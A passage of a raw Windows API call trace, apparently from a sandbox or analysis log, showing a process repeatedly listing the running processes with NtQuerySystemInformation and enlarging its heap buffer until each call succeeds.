ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0151.903] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0151.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0151.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0151.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0151.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0151.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0151.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0151.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0151.904] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0151.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0151.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0151.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0151.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0151.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0151.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0151.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0151.905] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0151.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0151.906] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0152.402] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0152.402] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0152.402] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0152.402] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0152.402] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0152.402] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0152.402] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0152.402] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0152.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0152.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0152.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0152.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.403] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0152.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0152.404] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0152.404] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0152.404] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0152.404] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0152.404] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0152.404] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0152.404] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0152.404] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0152.405] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0152.721] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0152.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0152.721] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0152.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0152.721] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0152.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0152.721] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0152.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.721] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0152.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0152.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0152.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0152.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0152.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0152.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0152.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0152.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0152.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0152.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0152.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0152.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0152.723] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0153.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0153.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0153.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0153.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0153.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0153.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0153.111] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0153.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.111] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0153.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.111] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0153.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.111] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0153.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.111] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0153.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.112] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0153.112] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.112] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0153.112] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.113] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0153.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.113] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0153.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.113] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0153.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.113] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0153.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0153.114] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0153.419] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0153.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0153.419] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0153.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0153.419] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0153.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0153.419] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0153.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.420] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0153.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.420] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0153.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.420] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0153.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.420] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0153.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.420] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0153.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.421] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0153.421] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.421] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0153.421] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.421] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0153.421] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.421] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0153.421] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.422] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0153.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0153.422] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0153.738] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0153.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0153.738] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0153.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0153.739] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1cf0 [0153.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.739] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x50b4) returned 0x7a1cf0 [0153.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.739] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0153.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.739] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0153.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.739] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0153.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.740] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0153.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.740] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0153.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.740] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0153.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.740] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0153.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.740] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0153.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.741] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0153.741] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0153.741] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0153.741] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0153.741] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0153.987] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0153.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0153.987] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0153.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0153.987] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1cf0 [0153.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.987] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x50b4) returned 0x7a1cf0 [0153.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.988] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0153.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.988] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0153.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.988] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0153.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.988] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0153.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0153.988] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0153.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, 